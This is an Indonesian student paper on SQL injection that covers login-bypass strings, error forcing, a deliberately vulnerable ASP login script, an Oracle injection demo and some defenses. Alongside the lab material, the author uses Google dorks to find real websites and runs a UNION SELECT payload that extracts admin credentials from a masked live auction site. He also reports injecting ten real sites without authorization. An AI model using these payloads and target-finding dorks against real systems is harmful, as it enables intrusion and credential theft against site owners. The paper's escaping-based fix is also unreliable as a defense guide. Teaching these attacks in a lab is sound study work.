sql injection

45
SQL INJECTION Diajukan sebagai perbaikan nilai UTS PEMOGRAMAN WEB LANJUT Oleh M FAJAR NUGRAHA NIM : 11110082

Upload: aneu-yulianeu-soedarsono

Post on 25-Jul-2015

158 views

Category:

Documents


3 download

DESCRIPTION

sql

TRANSCRIPT

Page 1: SQL Injection

SQL INJECTION

Diajukan sebagai perbaikan nilai UTS

PEMOGRAMAN WEB LANJUT

Oleh

M FAJAR NUGRAHA

NIM : 11110082

JURUSAN TEKNIK INFORMATIKA

SEKOLAH TINGGI MANAJEMEN INFORMATIKA DAN KOMPUTER – DCI

Page 2: SQL Injection

2012

BAB I

PENDAHULUAN

1.1 Latar Belakang

Dunia maya atau internet sekarang ini sudah banyak sekali bertebaran bug-bug dari

unicode para cracker-craker yang tidak bertanggung jawab. Mereka ini menggunakan

berbagai tehnik hacking untuk mencari kelemahan dan merusak pada system keamanan suatu

jaringan. Salah satu dari tehnik tersebut yang sangat membahayakan sebuah website yaitu

SQL injection atau dikenal juga dengan SQL insertion yaitu sebuah teknik yang digunakan

untuk mengeksploitasi database pada suatu websites dengan memaksa keluarnya error page

situs itu yang ada error pages itu terdapat info tentang struktur database website yang

dieksploitasi. SQL sendiri merupakan bahasa pemrograman database yang sering dipakai

para web developer maupun admin sebuah situs untuk menampung ataupun menaruh data-

data baru dari suatu input yang masuk seperti input member login,searchengine,dan lain

sebagainya.

Sebenarnya SQL injection sendiri bukanlah hal baru, dari dulu teknik ini sudah

dikenal dalam dunia hacking sebagai salah satu teknik web hacking, namun baru muncul lagi

sekarang karena sifatnya yang dapat merusak database dari suatu website. SQL injection ini

sempat ramai pada beberapa waktu yang lalu yaitu pada saat kasus bobolnya situs TNP KPU

oleh salah seorang cracker Indonesia, Dani Firmansyah.

Page 3: SQL Injection

1.2 Tujuan

Tujuan dari penulisan makalah ini adalah untuk memahami bagaimana SQL injection itu

dilakukan serta mengetahui cara pencegahannya.

1.3 Metode Penelitian

Metode Penelitian dari penulisan makalah ini adalah bersifat observasi dan literature.

Page 4: SQL Injection

BAB II

LANDASAN TEORI

2.1 Pengertian SQL injection

SQL injection adalah kegiatan menyisipkan perintah SQL kepada suatu statement

SQL yang ada pada aplikasi yang sedang berjalan. Dengan kata lain SQL injection ini

merupakan suatu tehnik pengeksploitasi pada web apilikasi yang didalamna menggunakan

database untuk penyimpanan datanya. Terjadinya SQL injection tersebut dikarenakan

security atau keamanan pada level aplikasi (dalam hal ini aplikasi web) masih kurang

sempurna. Kurang sempurnanya adalah pada cara aplikasi meng-handle inputan yang boleh

di proses ke dalam database. Misalnya pada suatu web yang terdapat fasilitas login, terdapat

dua buah inputan pada umumnya, yaitu username dan password. Jika karakter yang masuk

melalui dua buah inputan tersebut tidak difilter (disaring) dengan baik maka bisa

menimbulkan efek SQL injection, ini dikarenakan biasanya inputan tersebut secara sistem

akan menjadi bagian dari kriteria dari suatu perintah SQL di dalam aplikasi web-nya. Secara

garis besar terjadinya SQL injection tersebut adalah sebagai berikut:

1) Tidak adanya pemfilteran terhadap karakter – karakter tanda petik satu ’ dan juga

karakter double minus -- yang menyebabkan suatu aplikasi dapat disisipi dengan

perintah SQL.

2) Sehingga seorang Hacker dapat menyisipkan perintah SQL kedalam suatu parameter

maupun pada text area suatu form.

Page 5: SQL Injection

2.2 Default Setting SQL

Seperti yang kita ketahui bahwa tehnik SQL injection ini memungkinkan seseorang

dapat login kedalam sistem tanpa harus memiliki account. Salah satunya yaitu default setting

SQL. Default setting SQl yang paling berbahaya adalah menggunakan adminID = sa dan

password blank alias (kosong), apabila ada direktori sebuah situs yang disitu ada input untuk

adminnya maka kalau kita isi id-nya dengan = 'sa' dan passwordnya =' ' maka kita langsung

masuk sebagai admin, ini kalau default setting-nya belum diubah. Namun ada lagi string yang

bisa kita input untuk akses sebagai web admin yaitu dengan string ' OR 1=1-- apabila ada

input web admin yang input box-nya adalah User dan Password maka apabila kita masukan

string ' OR 1=1-- di input box user dan masukan foobar di input box password, maka akan

membuat SQL query-nya bingung diakibatkan jadi SQL Query membacanya sebagai:

SELECT * from users where User ='' or 1=1-- and Password ='foobar'

yang artinya sqlnya men-SELECT semua query dari user yang user-nya '' (kosong) atau (OR)

1=1 (true) -- (tanda -- adalah mark dari SQL seperti halnya di C/C++ marknya // atau /*)

Gambar 1 : Contoh ilustrasi SQL injection Pada admin login area

Page 6: SQL Injection

Jadi kalau diuraikan logikanya adalah bahwa SQL-nya menganggap 1=1 sebagai true

sehingga kolom itu di-bypass lalu kolom password-nya diabaikan karena setelah 1=1 terdapat

mark SQL ( -- ), sehingga password itupun diabaikan. Lalu apakah hanya itu string-nya

dalam menginjeksi sebuah situs? Tentu saja tidak. Inti dari injeksi dalam langkah awalnya

adalah memaksa keluar sebuah error page yang berisi informasi struktur database situs itu

dan kalau kita ingin melihatnya kita harus men-debug-nya. Jadi yang kita masukkan adalah

string debugging SQL code, yaitu ' having 1=1-- , ini adalah string yang harus dimasukkan

kalau kita ingin melihat error page dari situs sasaran.

Sehingga dapat dikatakan bahwa teknik ini memungkinkan seseorang dapat login

kedalam sistem tanpa harus memiliki account. Selain itu SQL injection juga memungkinkan

seseorang merubah, menghapus, maupun menambahkan data–data yang berada didalam

database. Bahkan yang lebih berbahaya lagi yaitu mematikan database itu sendiri, sehingga

tidak bisa memberi layanan kepada web server.

2.3 Mencari Target

Situs web MS-SQL dengan ASP adalah situs yang paling rentan terhadap serangan

ini. Hal pertama yang dilakukan dalam pencarian target yang sudah tidak asing lagi bagi kita

yaitu buka www.google.com, pada kolom keywordnya masukkan allinurl:.co.nz/admin.asp,

atau allinurl:/logon.asp Keyword ini dapat kita modifikasi ke berbagai bentuk .Penulisan

allinurl perlu dicantumkan, dengan begitu Google akan segera mencari semua URL dalam

sebuah situs yang mempunyai direktori /admin.asp. kita bisa saja mengganti keyword

tersebut dengan allinurl:.co.id atau net atau org, or.id, sampai allinurl:.fr/admin.asp semua

tergantung kemauan kita dalam mencari target menggunakan Google, dan yang terpenting

Page 7: SQL Injection

dari semua itu adalah kita harus tahu di mana harus menginput string SQL tadi, misalnya di

member login, user login, dan bahkan dapat pula di search product dan lainnya.

2.3 Lokasi Sql Injection

Tidak selalu pada setiap situs target, kita harus di-inject lewat input box-nya. Kita

juga bisa memasukan string-string SQL di URL situs target. Misalnya ada sebuah situs

www.xxxxxx.com/moreinfo.cfm?ProductID=245 lalu, ketikkan string injeksi debuging SQL

tadi ke address bar anda dibelakang url target itu, salah satu contohnya:

www.xxxxxx.com/moreinfo.cfm?ProductID=245' having 1=1-- atau juga kita dapat

menghapus nilai produk dari URL tersebut dan ganti dengan debugging codenya, sebagai

contoh: www.xxxxxx.com/moreinfo?ProductID=' having 1=1—

Apabila setelah itu akan keluar sebuah error page dari situs itu, ini menandakan bahwa situs

tersebut dapat memberikan informasi tentang struktur database situs itu. Dari hasil informasi

tersebut, kita dapat melakukan serangan SQL injection berikutnya. Apabila browser kita

adalah Internet Explorer, ada sebagian situs yang tidak menampilkan error-nya, ini

dikarenakan opsi Show Friendly HTTP Error Messages diaktifkan. Untuk itu kita perlu

menonaktifkannya dengan cara menghilangkan tanda centang di kotaknya. Opsi ini dapat

anda temukan di Tools > Internet Option > Advanced cari opsinya di bagian Browsing lalu

hilangkan tanda centangnya dan klik tombol Apply. Sesudah itu apabila anda menemui error

page yang berisi HTTP 500 error - internal server error- sebelum men-set opsi tadi, anda

cukup menekan tombol Refresh, lalu terlihatlah sudah error-nya. Setelah kita tahu struktur

database-nya, dengan pengetahuan dasar dari belajar SQL kita dapat menghancurkan

database itu dengan perintah ' drop database [nama_database] atau drop table [nama_table],

Page 8: SQL Injection

namun bukan ini yang kita cari dalam SQL Injection karena kita tidak dapat apa-apa dari

string tadi.

Page 9: SQL Injection

AB III

AKSI SQL INJECTION

3.1 Praktik SQl

3.1.1 SQL injection sederhana (Bypassing User Authentication System)

Sekarang kita akan membuat contoh mengenai kasus SQL injection yang sampai saat

masih sering kita jumpai pada situs-situs di internet. Salah satu penyalahgunaan bug SQL

injection adalah digunakan untuk mem-bypass sistem login pada suatu situs. Contoh kali ini

akan kita rancang sendiri sedemikian rupa mulai dari merancang database, membuat script

sampai melakukan SQL injection terhadap script yang kita buat tersebut. Kita akan

menggunakan MS SQL Server sebagai databasenya, ASP sebagai scripting languange nya

dan sembarang HTML editor untuk membuat layar loginnya (penulis disini menggunakan

MS FrontPage). Penulis asumsikan Anda menggunakan MS IIS sebagai web server. Siapkan

MS IIS Anda dan juga MS SQL Server 2000 Anda.

Pertama-tama kita akan buat dahulu databasenya. Siapkan database dengan nama

sqlinject dan buat tabel di dalamnya dengan nama tbUser. Berikut ini adalah struktur dari

tabel tbUser melalui perintah SQL CREATE TABLE.

create table tbUser

(username varchar(50),

password varchar(50)

)

Page 10: SQL Injection

Isikan data ke dalam tabel tersebut dengan mengetikkan perintah SQL seperti berikut ini.

insert into tbUser values

('sql','inject')

Sekarang kita sudah mempunyai sebuah database yang bernama 'sqlinject', sebuah tabel yang

bernama 'tbUser' dan tabel tersebut sudah diisi dengan satu buah row data. Sekarang kita akan

buat sebuah halaman login yang digunakan sebagai interface web-nya. Penulis beri nama

filenya yaitu login.asp. Bentuk tampilan dari layar login ini bisa Anda lihat seperti berikut ini.

Setelah itu kita buat script untuk memproses login ini, penulis beri nama

login_process.asp. Code pada file login_process.asp adalah sebagai berikut. Untuk koneksi ke

database (SQL Server) penulis menggunakan metode SQL Authentication, server pada

localhost, username 'sa' dan password 'rahasia'.

<% option explicit %>

<%

  dim connstring,conn,recset

  connstring = "Provider=SQLOLEDB.1; Password=rahasia; Persist Security Info=True; User

ID=sa; Initial Catalog=sqlinject; Data Source=localhost"

Page 11: SQL Injection

  set conn = server.createobject("adodb.connection")

  set recset = server.createobject("adodb.recordset")

  conn.open connstring

  recset.open "select * from tbUser where username = '" & request.form("username") & "' and

password = '" & request.form("password") & "'",conn,3,2

  if not recset.eof then

    response.write recset.recordcount

    session("username") = request.form("username")

    response.redirect "secured_page.asp"

  else

    response.redirect "login.asp"

  end if

%>

Kita lihat pada code diatas terdapat operasi SELECT ke SQL yang mencari username

dan password dari tabel tbUser. Jika username dan password yang dimasukkan benar maka

akan masuk ke halaman secured_page.asp (ada pada bagian akhir dari tulisan ini). Maksud

dari halaman secured_page.asp ini adalah bahwa halaman tersebut hanya bisa diakses jika

Anda mengisikan username dan password dengan benar. Anda tidak bisa mengetikkan URL

halaman tersebut secara langsung. Gambar contoh halaman secured_page.asp bisa Anda lihat

berikut ini.

Page 12: SQL Injection

Pada halaman secured_page.asp di atas terdapat sebuah link logout yang mengarah

pada dokumen logout.asp. Ini digunakan untuk melakukan sign-out atau log-out dari halaman

secured_page.asp dan menuju ke halaman login.asp kembali. Code dari dokumen logout.asp

adalah sebagai berikut.

<% 

  session.abandon

  response.redirect "login.asp"

%>

Sekarang semua file sudah kita buat. Letakkan semua file tadi (login.asp, login_process.asp,

secured_page.asp, logout.asp) dalam satu folder dan jadikan sebagai home directory pada MS

IIS (web server) Anda. Hasilnya bisa Anda test dengan mengetikkan URL yang mengarah

pada web Anda tadi misalnya http://localhost/login.asp.

Page 13: SQL Injection

Sekarang saatnya penulis akan menyajikan contoh SQL injection untuk mem-bypass login.

Tampilkan URL yang berisi login.asp tadi (misalnya http://localhost/login.asp). Sekarang

coba masukkan username 'a' dan password 'a', program akan kembali lagi ke halaman

login.asp karena username dan password tersebut salah. Sekarang coba sekali lagi, kali ini

username 'sql' dan password 'inject'. Karena username dan password benar maka Anda akan

diarahkan ke halaman secured_page.asp. Anda bisa klik link logout jika ingin logout.

Aktivitas tersebut adalah aktivitas normal pada suatu sistem pada login. Bagaimanakah cara

tidak normalnya? Kita memeriksa apakah login tersebut bisa di bypass atau tidak dengan cara

memberikan inputan tanda ' (single quote) pada bagian inputan username dan masukkan

sembarang string pada bagian password. Jika Anda tekan tombol submit maka akan muncul

error seperti berikut ini.

Error Type:

Microsoft OLE DB Provider for SQL Server (0x80040E14)

Line 1: Incorrect syntax near 'aku'.

/login_process.asp, line 8

Error di atas merupakan error dari database SQL Server yang sebenarnya menyatakan

ada kesalahan pada statement SQL (akibat kita masukkan karakter ' tadi). OK sekarang kita

akan mulai bagian yang lebih seru, kembalikan lagi ke halaman login.asp. Coba masukkan

string 'or 1=1 -- pada bagian username dan masukkan sembarang string pada bagian

password. Apa yang terjadi? Anda akan langsung dibawa ke halaman secured_page.asp tanpa

harus mengetahui username dan password yang benar sama sekali. Kenapa hal itu bisa

terjadi? Mari kita pelajari pelan-pelan konsepnya berikut ini.

Page 14: SQL Injection

Penyebab utama kejadian di atas adalah karena karakter ' (single quote) yang kita

inputkan pada bagian username. Karakter ' (single quote) merupakan karakter pemutus dari

statement SQL dan dari sini bisa kita kembangkan untuk membelokkan statement SQL asli

menjadi statement SQL sesuai keinginan kita. Mari kita lihat kembali kejadiannya. Misalnya

kita masukkan string 'user' dan password 'pass' maka statement SQL yang terjadi adalah

sebagai berikut.

select * from tbUser where username = 'user' and password = 'pass'

Jalankan pada MS Query Analyzer maka hasilnya akan menjadi suatu zero recordset dan

tidak error.

Sekarang misalnya kita memasukkan karakter ' pada username dan string 'aku' pada bagian

password maka statement SQL pada database akan menjadi seperti berikut ini.

select * from tbUser where username = ''' and password = 'aku'

Coba jalankan pada MS Query Analyzer dan akan muncul error seperti berikut ini.

Server: Msg 170, Level 15, State 1, Line 1

Line 1: Incorrect syntax near 'aku'.

Server: Msg 105, Level 15, State 1, Line 1

Unclosed quotation mark before the character string '

'.

Page 15: SQL Injection

Kita lihat error yang pertama persis sama pesannya seperti yg terjadi pada web tadi.

Itu terjadi karena Anda melakukan pemotongan statement SQL dengan karakter ' dan belum

Anda selesaikan. Efek dari pemotongan ini akhirnya Anda bisa menambahkan statement SQL

Anda sendiri setelah karakter ' tadi. Sekarang kita selesaikan pemotongan statement SQL tadi

dengan menambahkan string or 1=1 -- setelah karakter ' tadi (jadi pada bagian username

Anda ketikkan ' or 1=1 --) sehingga sekarang statement SQL nya akan menjadi seperti berikut

ini.

select * from tbUser where username = '' or 1=1 --' and password = 'aku'

Coba Anda jalankan pada MS Query Analyzer. Hasilnya adalah menimbulkan suatu

record set yang menampilkan semua data pada tabel tbUser tersebut. Kita lihat lagi pada

statement di atas. Karakter -- adalah karakter untuk menandakan bahwa string setelah tanda --

akan di ignore atau dianggap sebagai remark pada suatu statement SQL. Jadi sebenarnya pada

statement di atas yang dijalankan adalah sebagai berikut.

select * from tbUser where username = '' or 1=1

Jadi perintah di atas akan men-select username yang berupa blank character dan

kemudian di OR dengan suatu kondisi TRUE (dalam hal ini diwakili dengan 1=1). Kondisi

apapun jika di OR dengan keadaan TRUE maka hasilnya akan selalu TRUE pula. Itulah inti

dari kejadian di atas.

Page 16: SQL Injection

3.1.1 SQL injection 2

Ini adalah contoh dari serangan SQL injection untuk menyimpan user password ke

dalam plain text. Serangan sql ini dilakukan dengan menggunakan Oracle *SQL plus.

Sebelum kita mulai sebagai penjelasannya bahwa pada SQL> ini atinya perintah diketikkan

sesudah kata/statement SQL> tersebut. Selain dari pada perintah yang diketikkan tersebut

adalah suatu hasil proses dari perintah – perintah yang telah dimasukkan.

Gambar 2. Oracle SQL * Plus

-- Filename: les01_ovw_attack_demo.sql

-- Created: October 2, 2007

-- Creator: Bryn Llewellyn (adapted by Jenny Tsai-Smith)

-- Description: Code sample with dynamic SQL and string concatenation.

-- Used to demonstrate SQL injection vulnerability.

-- Connect as HR in at least 10.2 before running this SQL*Plus script.

SQL>CONN hr

// perintah ini artinya kita membuat procedure untuk proses sebagai user login.

Enter password : *******

Connected.

Page 17: SQL Injection

SQL>SET SERVEROUTPUT ON

SQL>CREATE OR REPLACE

PROCEDURE User_Login

(p_Email Employees.Email%type DEFAULT NULL,

p_Last_Name Employees.Last_Name%type DEFAULT NULL)

AS

Stmt CONSTANT VARCHAR2(4000) :=

'SELECT Email

FROM Employees

WHERE Email = ''' || p_Email ||

''' AND Last_Name = ''' || p_Last_Name || '''';

// Pada kolom merah tersebut menandakan ini adalah dynamic sql statement yang dibuat

dengan penggabungan input –inputan nilai atau value yang mana ini merupakan

vurnerability yang bias kita injeksi. Pada statement local procedure PL /SQL variable

menyediakan string yang bisa diinjection.

v Employees.Email%type;

BEGIN

DBMS_Output.Put_Line ('SQL Stmt: ' || Stmt);

EXECUTE IMMEDIATE Stmt

INTO v;

Page 18: SQL Injection

DBMS_Output.Put_Line ('Logon succeeded.');

EXCEPTION WHEN OTHERS THEN

Raise_Application_Error(-20000, 'Logon failed.');

END User_Login;

/

SQL>EXEC User_Login('PFAY','Fay') // perintah dengan mencoba mengeksekusi prosedur

tersebut dengan PFAY, Fay value(yaitu memang merupakan user parameter yang benar .

//Pada sesi percobaan ini login proses sukses (diterima).

SQL>EXEC User_Login('PFAY','bad password') / / Sekramg dicoba dengan invalid value

untuk parameter kedua ini.

//pada sesi ini proses login gagal

SQL>EXEC User_Login( ' ' ' or 1=1 and Rownum=1 --','somepassword')

// Ini adalah Perintah string SQL injection. (Pertanyaannya adalah apakah pada sesi ini

akan sukses ?).

Page 19: SQL Injection

// Ternyata sukses besar! Disini anda pasti bertanya-tanya mengapa hal demikian dapat

terjadi?

// Disini Sting telah terinjeksi…, dimana pada text string value pada parameter pertama ini

mengubah SQL statement. SQL tersebut akhirnya menguraikan perintah ini, dan

menafsirkannya kedalam database dimana email telah terinjeksi atau telah tergantikan

dengan nilai string ‘’ or 1=1, begitupula pada lastnamenya. Secara detailnya pertama pada

tanda petik pada perintah dibawah ini tertafsikan pada SQLnya sebagai tanda kutip terdekat

untuk nilai (value) suatu email.

SQL>EXEC User_Login( ' ' ' or 1=1 and Rownum=1 --','somepassword')

Page 20: SQL Injection

kedua pada string or 1=1 disini tertafsir sebagai query condition, begitupula pada rownum = 1

juga tertafsir sebagai query conditionnya.Ketiga pada tanda dash -- ini menyumbangkan

suatu nilai sebagi suatu comment, yang akan membingungkan sehingga pada lastname pun

akhirnya akan tergantikan dan tidak akan terevaluasi.

3.1.1 SQL injection 3

Seperti yang telah saya bahas tadi pada latar belakang bahwa bug-bug SQL injection

itu bertebaran di internet dan selalu up-date tentunya. Berikut akan saya paparkan bug-bug

tersebut.

Pertama kita tanya pada google : masukkan keyword ini inurl:/subcat.php?cate_id=

Dengan ini google akan mencari pada internet situs-situs yang memiliki cate_id

tertentu.disini penulis pilih salah satunya sebagai contoh kasus saja (tidak bermaksud untuk

merusak).

Penulis memilih salah satu link pada google tsb, link yang didapat adalah sebagai berikut:

http://www.**********.co.uk/auctions/subcat.php?cate_id=14&view=list

// nama site disamarkan demi menjaga nama baik site tersebut.

Page 21: SQL Injection

// Dapat anda lihat disini ternyata site ini telah di hacked oleh banyak orang ini menandakan

bahwa struktur pada database website ini sangat lemah.

langkah selanjutnya, setelah cate_id= di hapus saja kemudian di ganti dengan bug berikut:-

1%20union%20select

%200,concat(char(116,117,114,107,101,121,58),user_name,char(116,117,114,107,101,121,1

12,97,115,115,58),pas

sword),2%20from%20admin/*&view=list

Page 22: SQL Injection

kira kira jadi begini

http://www.**********.co.uk/auctions/subcat.php?cate_id=-

// ada tanda min (-) sebelum 1

1%20union%20select

%200,concat(char(116,117,114,107,101,121,58),user_name,char(116,117,114,107,101,121,1

12,97,115,115,58),password),2%20from%20admin/*&view=list

// bug ini berfungsi untuk menampilkan error pada username admin dengan menggunakan

parameter-parameter angka tertentu, sehingga username admin dan password admin dapat

ditampilkan.

Page 23: SQL Injection

Sekarang dapat kita saksikan bahwa terdapat tulisan yang dilingkari tersebut, itu artinya:

usernamenya admin

passwordnya fuCk

// ternyata website ini benar-benar telah di hacked oleh orang banyak ini semakin

membuktikan bahwa sistem pemfilteran bug-bug SQL injection tidak terpasang pada

database website ini. Sehingga seorang Hacker dapat menyisipkan perintah SQL kedalam

suatu parameter maupun pada text area suatu form dan memudahkan mereka untuk men-

defacenya seperti yang anda lihat pada gambar diatas para hacker menuliskan nama-nama

mereka, memungkinkan juga mereka menghapus, maupun menambahkan data–data yang

berada didalam database. Bahkan yang lebih berbahaya lagi yaitu mematikan database itu

sendiri, sehingga tidak bisa memberi layanan kepada web server.

Perlu juga kita ketahui tidak seluruh website dapat kita injeksi seperti halnya pada

website diatas, semua itu tergantung pada sistem keamanan yang telah ditanamkan pada

database website masing-masing. Survei membuktikan dari 10 website yang saya injeksi

dengan bug diatas hanya 2 website saja yang terinjeksi dengan bug tersebut. Contohnya pada

website berikut ini:

Page 24: SQL Injection

//Dapat anda lihat pada website ini tidak terjadi penampilan error atau terjadinya kerusakan –

kerusakan lainnya, yang ada hanyalah kalimat peringatan untuk tidak masuk secara ilegal.

Dengan kata lain dapat dikatakan pada sesi ini pemfilteran sql injection pada website ini telah

baik.

Contoh lain pada website berikut ini:

Page 25: SQL Injection

//Terjadi penampilan error pada sqlnya dari sini para hacker dapat mempelajari struktur

database website ini, dan selanjutnya akan dimanfaatkan sebagai kelemahan pada sistem

untuk serangan SQL injection berikutnya.

Berikut saya tampilkan website yang juga telah menjadi korban SQL injection , sehingga

website inipun akhirnya ditutup pada tahun 2006 lalu.

Page 26: SQL Injection

para cracker meng-inject database-nya agar string SMS tadi diberi nilai dan bisa

dipakai untuk mengirim SMS, sehingga seorang cracker tersebut dapat mengirim sms

sepuasnya. pada website ini www.yepcell.com. Situs ini adalah sebuah situs dari Timur

Tengah yang menyediakan jasa pengiriman sms ke seluruh penjuru dunia dan menyediakan

aksesori handphone seperti, ringtone dan gambar.

3.2 Menanggulangi SQL Injection

Cara biasa digunakan untuk mencegah SQL injection adalah dengan selalu memeriksa setiap

karakter inputan yang masuk ke dalam database melalui statement SQL. Misalnya pada kasus

di atas kita harus mencegah karakter ' (single quote) untuk di proses ke dalam database atau

kita bisa mengganti karakter ' (single quote) yang masuk dengan '' (dua kali single quote).

Adapun contoh script login_process.asp yang sudah dimodifikasi agar mencegah SQL

injection adalah sebagai berikut.

<% option explicit %>

<%

  dim connstring,conn,recset

  connstring = "Provider=SQLOLEDB.1; Password=rahasia; Persist Security Info=True; User

ID=sa; Initial Catalog=sqlinject; Data Source=localhost"

  set conn = server.createobject("adodb.connection")

  set recset = server.createobject("adodb.recordset")

  conn.open connstring

  recset.open "select * from tbUser where username = '" &

Page 27: SQL Injection

replace(request.form("username"),"'","''") & "' and password = '" &

replace(request.form("password"),"'","''") & "'",conn,3,2

  if not recset.eof then

    response.write recset.recordcount

    session("username") = request.form("username")

    response.redirect "secured_page.asp"

  else

    response.redirect "login.asp"

  end if

%>

Kita lihat pada code diatas maka pada inputan username dan password ada sedikit modifikasi

dengan mengganti dari request.form("username") menjadi

replace(request.form("username"),"'","''"), demikian juga untuk yang bagian password.

Sebenarnya masih ada cara lainnya untuk mencegah misalnya dengan penggunaan stored

procedure dan lain sebagainya. Hal tersebut akan disajikan pada kesempatan yang lain.

.Banyak cara menanggulangi SQL injection, berikut secara garis besarnya beberapa cara

penangulangannya:

1. Query SQL

Untuk melindungi query SQL, kita harus menerapkan tehnik

sanitasi/mengosongkan seluruh input yang diterima dari request object ASP

seperti: Request, Request.QueryString, Request.Form, Request.Cookies dan

Page 28: SQL Injection

Request.ServerVariabbles. Teknik sanitasi ini sangat tergantung pada Relational

Database Management System.

RDBMS merupakan sistem yang multiuser. Oleh karena itu, RDBMS menyertakan

fitur sekuriti untuk mengontrol akses ke/dan penggunaan database. Tujuan arsitektur

sekuriti RDBMS adalah untuk melindungi dan memverifikasi semua bagian informasi

yang tersimpan dalam database. Informasi bisnis perlu diverifikasi untuk memastikan

bahwa tidak ada data yang berubah.

Contoh penanganan MS SQL Server seperti dibawah ini.

Dalam sebuah halaman login, script semestinya terdiri dari dua variabel

(txtUserName, txtPassword) dari jenis string yang dilewati. Saat sebuah tanda petik

tunggal (’) dimasukkan dalam sebuah parameter, hal ini mengijinkan user untuk

memanipulasi perintah yang dieksekusi. Untuk menghadapi ancaman SQL Injection,

hindari penggunaan tanda petik tunggal (’) dengan menggunakan fungsi REPLACE,

seperti dibawah ini:

p_strUsername = Replace(Request.Form(”txtUsername”), “‘”, “””)

p_strPassword = Replace(Request.Form(”txtPassword”), “‘”, “””)

Contoh yang kedua, script diharapkan adalah sebuah variabel (ID) jenis long

integer. Perintah SQL yang tidak diotorisasi dapat mengeksekusi dengan

menambahkan perintah SQL ke dalam parameter ID. Untuk mengatasi hal ini

gunakan input untuk Long Integer dengan fungsi CLng sbb:

p_lngID = CLng(Request(”ID”))

Page 29: SQL Injection

Jika user mencoba melewati suatu string, fungsi CLng akan menampilkan pesan error.

2. Error message (Pesan Error)

Matikan atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang

berjalan. Bisa juga dengan cara mengganti pesan error message karena hal ini seringkali

digunakan oleh sang attacker untuk menelusuri informasi jalur penyimpanan database.

Contoh codenya:

Sub LogError(strLocation)

Dim objFSO ’sebagai Scripting.FileSystemObject

Dim objStream ’sebagai Scripting.TextStream

if Err.Number = 0 Then Exit Sub

WriteLine “<p><font color=#FF0000><b>”_

& “ERROR.”_

& “Please try again later or contact webmaster.</b></font></p>”

Set objFSO = Server.CreateObject(”Scripting.FileSystemObject”)

Set objStream = objFSO.OpenTextFile(”C:errorlog.txt”,_

ForAppending, True)

ObjStream.WriteLine Now() & “: [" & Request("SCRIPT_NAME")_

& " - Err #" & Err.Number & "]” _

& Err.description & “[Lokasi: " & strLocation & "]“

Page 30: SQL Injection

ObjStream.Close

Set objStream = Nothing

Set objFSO = Nothing

Response.End

End Sub

3. Permisi

batasi permisi hanya pada user yang terotorisasi saja. Sang user tentu saja harus

yakin bahwa data yang dia terima sudah akurat dan tidak ceroboh memodifikasinya.

4. Panjang Input Box

Batasi panjang input box (jika memungkinkan), dengan

cara membatasinya di kode program, jadi si cracker pemula akan bingung sejenak

melihat input box nya gak bisa diinject dengan perintah yang panjang.

5. Filterisasi

Filter input yang dimasukkan oleh user, terutama penggunaan tanda kutip tunggal

(Input Validation).

Page 31: SQL Injection

BAB IV

KESIMPULAN

SQL Injection merupakan teknik hacking paling populer pada aplikasi web dengan

prinsip melewatkan perintah-perintah SQL lewat aplikasi web untuk dieksekusi oleh database

back-end. Kelemahan akan muncul apabila inputan user tidak disaring/difilter dengan

sempurna dan akhirnya dieksekusi. Oleh karena itu diperlukan suatu pengamanan yang extra

hati – hati pada SQL statement pada database yang ada pada suatu website-website kita, agar

perintah-perintah SQL injection tersebut dapat disaring dengan baik. Demikian halnya

dengan Setting server dengan benar memang akan mengamankan e-commerce web dari

serangan deface, akan tetapi bukan berarti semuanya sudah aman sekarang. Situs e-commerce

yang menggunakan Microsoft IIS juga menggunakan database access dengan Micosoft SQL

server,dimana MS SQL server tersebut mempunyai kelemahan yang memungkinkan

seseorang tanpa account dapat masuk dan lolos verifikasi dari MS SQL server..Hal ini yang

jelas dapat merugikan sekali, sebab bisa saja data sensitif seperti nomor kartu kredit serta

lainnya bocor! Pada saat seseorang berusaha masuk ke situs e-commerce, biasanya akan

disambut dengan halaman login yang mengharuskan pemakai memasukkan login name dan

password.

Semuanya tergantung dari kita bagaimana cara kita untuk selalu turus update dalam

penanganan masalah ini. Karena tentunya para-para cracker tersebut selalu mengembangkan

Page 32: SQL Injection

bug-bug mereka untuk dapat menemukan lubang-lubang pada jaringan kita. Oleh karena itu

sebelum kita menjadi defender yang kuat, alangkah baiknya kita mengetahui dan mempelajari

terlebih dahulu serangan-serangan para cracker tersebut, serte kita bisa menjadi hacker pada

sistem kita sendiri.

Page 33: SQL Injection

DAFTAR PUSTAKA

1. http://www.nextgenss.com

2. http://st-curriculum.oracle.com/tutorial/SQLInjection/index.htm

3.http://www.ilmuwebsite.com/detil_hacking/7/SQL_Injection_AJ_Auction__seluruh_ versi/"

4. Hacking Exposed book